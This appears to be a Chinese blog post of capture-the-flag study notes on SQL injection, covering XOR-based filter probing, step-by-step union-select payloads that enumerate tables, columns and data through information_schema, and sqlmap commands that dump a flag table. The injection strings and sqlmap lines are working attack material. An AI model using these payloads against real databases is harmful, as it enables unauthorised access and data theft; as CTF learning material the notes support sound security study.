• SQL注入


    异或注入(可用于判断过滤)

    异或是一种逻辑运算,运算法则简言之就是:两个条件相同(同真或同假)即为假(0),两个条件不同即为真(1),null与任何条件做异或运算都为null,如果从数学的角度理解就是,空集与任何集合的交集都为空。mysql里异或运算符为^ 或者 xor。

    两个同为真(假)的条件做异或,结果为假
    一个条件为真,一个条件为假,结果为真

    ^运算符会做位异或运算 如:

    1^3=2
    
    1是00000001,
    3是00000011,
    得到00000010 = 2
    

    xor做逻辑运算 1 xor 0 会输出1 其他情况输出其他所有数据 用法:

    可用于判断过滤
    http://120.24.86.145:9004/1ndex.php?id=1'^(length('union')!=0)--+
    如果返回页面显示正常,那就证明length(‘union’)==0的,也就是union被过滤了
    

    sql手动注入

    第一步:判断环境,寻找注入点
      确定注入点:用’报错就有注入的希望 and 1=1 正常 and 1=2 报错就基本能注入
    第二步:猜解字段
      ' order by 3 # 
    第三步:联合查询
      0' union select 1,2,3,4#
    第四步:爆表
    ​    0' union select 1,database(),user(),version()#
    
       [查表名] id=0' union select 1,(select group_concat(table_name) from information_schema.tables wheretable_schema=database()),user(),version()#           
    
       [查列名]id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database()and table_name='表名‘),user(),version()#           
    
       [查数据]id=0' union select 1,(select 列名 from 表名),user(),version()#         
    
    

    sqlmap

    1. python /usr/share/sqlmap/sqlmap.py -r 1.txt -p id --current-db
    2. python /usr/share/sqlmap/sqlmap.py -r 1.txt -p id -D skctf_flag
    3. python /usr/share/sqlmap/sqlmap.py -r 1.txt -p id -D skctf_flag --tables
    4. python /usr/share/sqlmap/sqlmap.py -r 1.txt -p id -D skctf_flag -T fl4g --columns
    5. python /usr/share/sqlmap/sqlmap.py -r 1.txt -p id -D skctf_flag -T fl4g -C            "skctf_flag" --dump
    
  • 相关阅读:
    Visual C#动态生成控件
    (转)GridView 72般绝技
    ASP.NET给DataGrid,Repeater等添加全选批量删除等功能(转)
    JS操作字符串
    在IE中调试客户端脚
    一组很棒的button样式 (转)
    c#实现随机字符串(不包含数字)
    1996年4月全国计算机等级考试二级C语言笔试试题
    ASP.NET 2.0站点登录、导航与权限管理 转
    1996年9月全国计算机等级考试二级C语言笔试试题
  • 原文地址:https://www.cnblogs.com/NPFS/p/12671984.html
Copyright © 2020-2023  润新知